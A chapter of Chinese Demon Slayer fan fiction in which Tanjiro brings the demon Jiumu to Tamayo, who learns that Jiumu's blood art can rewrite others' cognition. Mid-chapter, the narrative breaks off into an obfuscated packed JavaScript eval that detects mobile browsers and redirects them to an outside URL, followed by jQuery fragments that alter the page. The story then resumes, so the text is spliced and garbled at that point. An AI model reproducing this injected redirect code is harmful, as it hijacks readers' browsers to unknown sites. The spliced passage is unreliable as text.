拥有丰富的长男经验的炭治郎很擅长奖励,不一会儿就把酒沐哄好了。
她眼尾还有些泛红,但泪珠好歹是止住了。
夜色静谧又安宁,酒沐走在炭治郎身侧,抓住他的衣角,打了个哈欠。
下午哭得太厉害,她有些犯困。
祢豆子走在她的另一边,也抓着她的衣角,有模有样地学着她打了个哈欠。
“你也在犯困吗?祢豆子。”酒沐看得好笑,拍了拍祢豆子的头。
祢豆子仰起脸来,对她眨了眨眼。
他们走过一条热闹的长街,有许多衣着华丽的人在游玩闲逛。
灯火辉映在祢豆子眼底,衬得她粉色的眼睛好像亮晶晶的糖果。
炭治郎寻找着路标和门牌,他扭头看向酒沐,花札耳环在他耳垂上轻轻晃动。
“马上就要到了,再坚持一下吧!”
“好。”酒沐点点头,一把抄起祢豆子,抱在怀中。
祢豆子伸出小手,想要把街边店铺的灯光握在掌心。
酒沐掂着祢豆子逗她,忽然发现路边的长椅腿上贴了一张符文一样的东西。
“炭治郎,你看那个。”酒沐拉住炭治郎的袖子。
“哦!这就是愈史郎的标记。”炭治郎说着,蹲下身,对着那只红色的眼睛形状打招呼,“愈史郎——你能听到吗?”
酒沐也好奇地看着他的举动,这太怪了,蹲在大街上对着一条椅子腿儿说话。
简直跟疯了似的。
忽然,一个冷淡的声音从他们身后响起:“你们来了。”
酒沐猛地回头,看到一个绿色短发的少男。
他并非人类,个头和炭治郎差不多,但他看起来更为成熟,表情也淡淡的,对这个世界很不满的样子。
炭治郎站起来,自顾自地热情:“愈史郎,好久不见!”
酒沐以为他会不耐烦地忽视他们,可愈史郎的视线扫过祢豆子,落在酒沐脸上。他淡淡地开了口:“好久不见。”
“跟我来吧,珠世大人等你们很久了。”
愈史郎带领他们穿过一条楼房中间的小巷,又拐过一处没有灯光的花园,走过一截隐蔽在长街尽头的楼梯,他们来到了一处破败的砖墙前。
愈史郎左右看了看,低声说了句“快点”,然后当着他们的面,一头钻进墙内。
“穿墙术?”酒沐好奇地伸出指尖。
眼前的墙壁如同水中月的倒影,泛着成圈的涟漪,转瞬间将酒沐吸入其中。
多么高级的障眼血鬼术。
出现在酒沐眼前的,是一幢漂亮的白色洋房别墅。
花圃修剪整齐,洋溢着淡淡的香气。
酒沐深深吸了口气,那是为了掩盖鬼的气息,而种植的玫瑰花香。
一个穿着紫色花纹和服的女人站在二楼,从窗口处向他们招手。
她的身姿非常优雅,挺拔又高贵,像大户人家出身的人。
酒沐随着炭治郎登上二楼,在书房内见到了他们口中精通鬼的身体的珠世夫人。
鬼向来不群居生活,除了鬼舞迁无惨禁止他们聚集之外,大家的领地意识也都很强,因此入侵别人地盘的时候,都会多多少少感到一些不适。
可珠世大人身上没有一丝威压,她整个鬼的气质都是恬淡优雅的,让酒沐心生一丝亲切之感。
祢豆子显然与她很熟稔,她嗒嗒地跑过去,牵起珠世夫人的手,熟练地放到自己头顶。
珠世夫人笑着,摸了摸她的脑袋,对酒沐打招呼:“初次见面,酒沐大人。”
鬼之间的生态链是弱肉强食,更强的鬼会获得更多的尊敬。
酒沐连忙鞠了一躬:“别这么叫我,珠世夫人,您直接喊我酒沐就行。”
珠世夫人露出温柔的笑意,她紫色的眼睛洋溢着神采:“好。”
酒沐在椅子上坐下,非常自觉地伸出手去,让珠世夫人抽血。
珠世夫人把她的血做成涂片,放到显微镜下边细细观察。这里的设备看起来和蝶屋差不多,都有许多奇怪又高级的装置。
不一会,珠世夫人又匆匆起身,采了一点祢豆子的指尖血。
屋里很安静,愈史郎靠在门框,抱着手臂看着珠世夫人。祢豆子爬到桌子上边,脑袋一仰又睡着了,炭治郎身体前倾,聚精会神地看着酒沐给祢豆子编小辫。
珠世夫人研究良久,她拿起钢笔,写下了两行记录,这才开口说:“我发现祢豆子身上,似乎有酒沐小姐施加血鬼术的痕迹。酒沐小姐,你的血鬼术效果非常强悍,虽然时隔很多年,仍然在发挥着作用。”
酒沐点了下头:“是的。”
“诶?”炭治郎还不知道这件事,他有些吃惊地望向酒沐,“时隔多年……是什么时候的事情?”
“是多年前的事情。”酒沐说。
炭治郎尬笑两声:“……这完全没有解释呢。”
酒沐知道这事迟早瞒不过,况且炭治郎也关心自己妹妹的身体,她索性和盘托出:“三年前,在狭雾山的时候,那个天狗大叔请求我给祢豆子施加一个让人产生幻觉的血鬼术。”
炭治郎一点就通:“所以,祢豆子会觉得人类都是家人,而鬼都是敌人啊。”
“对,大概是这样的暗示。”酒沐说着,捏着自己的衣摆,“但有一点不同。那些对人类友好的鬼,祢豆子也会把他们划到家人的范畴。”
“原来如此。”炭治郎轻声说,“酒沐小姐的血鬼术,真是厉害啊。”
“也就一般啦。”酒沐谦虚了一下,“我的能力好像就是制造幻觉,也改变不了现实,一旦打起来也没什么优势,只能靠菜刀。”
“不,酒沐小姐,不仅如此。”珠世夫人看向酒沐,“你的血鬼术绝无仅有,不止是制造幻觉那么简单。”
她站起身来,从书柜里拿出一本厚重的大部头书,翻开一页,给众人展示:“致幻类的血鬼术往往只能维持短暂的时间,等到时效过去,幻觉就会消失。而酒沐小姐的血鬼术,可以直接改写他人的认知。”
“改变认知,和制造幻觉,没有什么区别吧?”酒沐说。
珠世夫人放下书,有些激动地握住酒沐的手:“当然不一样!一旦认知被改写,那样的思想就不会轻易消失,对方看待世界的眼光、思考的方式,也都会因此彻底改变。”
“比如说,在战斗的时候给别人植入无论如何也无法战胜的认知,就能在不实际战斗的情况下,直接取得胜利。”
炭治郎瞬间想通了关窍:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17385805|200239||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“酒沐小姐,你在无惨面前发动的血鬼术,是不是让他以为灶门家的人全部死亡?所以在他在那一次袭击之后,就再也没去我家里找过任何麻烦!”
改写认知……连鬼之始祖都能骗过的力量,多么独特。
酒沐根本没意识到自己有多么强大的能力,她仍旧望着珠世夫人的书柜,在走神。
珠世夫人提笔开始写信,她要将这一发现告诉蝴蝶小姐:“既然酒沐小姐有改变他人认知的能力,如果用在重伤鬼化的成员身上,或许就能强行抑制住他们伤人的念头。可以把那些不幸鬼化的伤员保护下来,直到研制出变回人类的药物,把他们救回来。”
“这太好了!”炭治郎受到启发,他看向酒沐,毫不掩饰地赞许,“酒沐小姐,真的帮了大家很大的忙呢!”
酒沐没觉得这是什么了不起的事情,但见他们这么情绪高涨,她也笑了笑。
但她真正在意的事情是:“炭治郎,这样一来,我是不是可以利用一点血鬼术的技能,就一点点,来强化我没有威胁的认知呢?如果大家都把我当做一个没有心跳的队员,我是不是就能顺利留在鬼杀队了?”
“可以啊。”炭治郎点点头,语气温和,却一针见血,“不过,不能做得太过火哦。比如让大家彻底以为酒沐小姐是普通人、完全放松警惕这种事,主公大人是不会允许的。”
可恶,被他一眼看穿了。
“知道啦。”酒沐打消了那样冒险的念头,“我不会掩盖自己作为鬼的身份,只是让大家减少一点对我的敌意,这样子是可以的吧?”
“当然可以。”炭治郎鼓励着,“我相信酒沐小姐的承诺。其实如果大家知道酒沐小姐的能力很强,说不定会更有战斗的热情呢。”
酒沐对他吐了吐舌头,开玩笑说:“这么相信我呀?就算我真的在鬼杀队里边用了血鬼术,让所有人都以为我是人类,只要成功了,谁都不会发现的吧。”
炭治郎弯着眼眸笑看向她,也用开玩笑的语气,轻快地说:
“不会哦。”
“我会一直,牢牢盯着酒沐小姐的。”
酒沐维持着微笑的表情,暗中磨了磨牙。
她原先一直觉得,炭治郎是个很好相处的开朗小伙,可此刻,却隐约察觉到他有些不一样的一面。
作为家中长子,他似乎习惯将一切都掌控在手中。
这样的控制欲是很难看出来的。他做的计划简单高效,大家往往会直接采用。他做的决策又好又快,大家往往会下意识听从他的指挥。
夜色渐深,街上的喧嚣早已沉入寂静。
炭治郎与珠世夫人告辞,他牵着酒沐的手,穿过漆黑而漫长的夜路:“酒沐小姐,现在我送你到麟泷师傅那里,拜托他对你进行选拔考试的针对性训练。不要担心,我会一直陪着你的。”
不对,酒沐又推翻了自己刚才的念头。
炭治郎性格温和,又那么体贴,很会共情他人。
他愿意陪她走那么远的路,拜托自己的恩师教导她。怕她被日光灼伤,他甚至陪着她在夜间赶路,不在意自己会睡眠不足。
或许……是她将自己的心底的阴暗,投射到炭治郎身上了吧。
他明明,只是个格外温柔善良的人啊。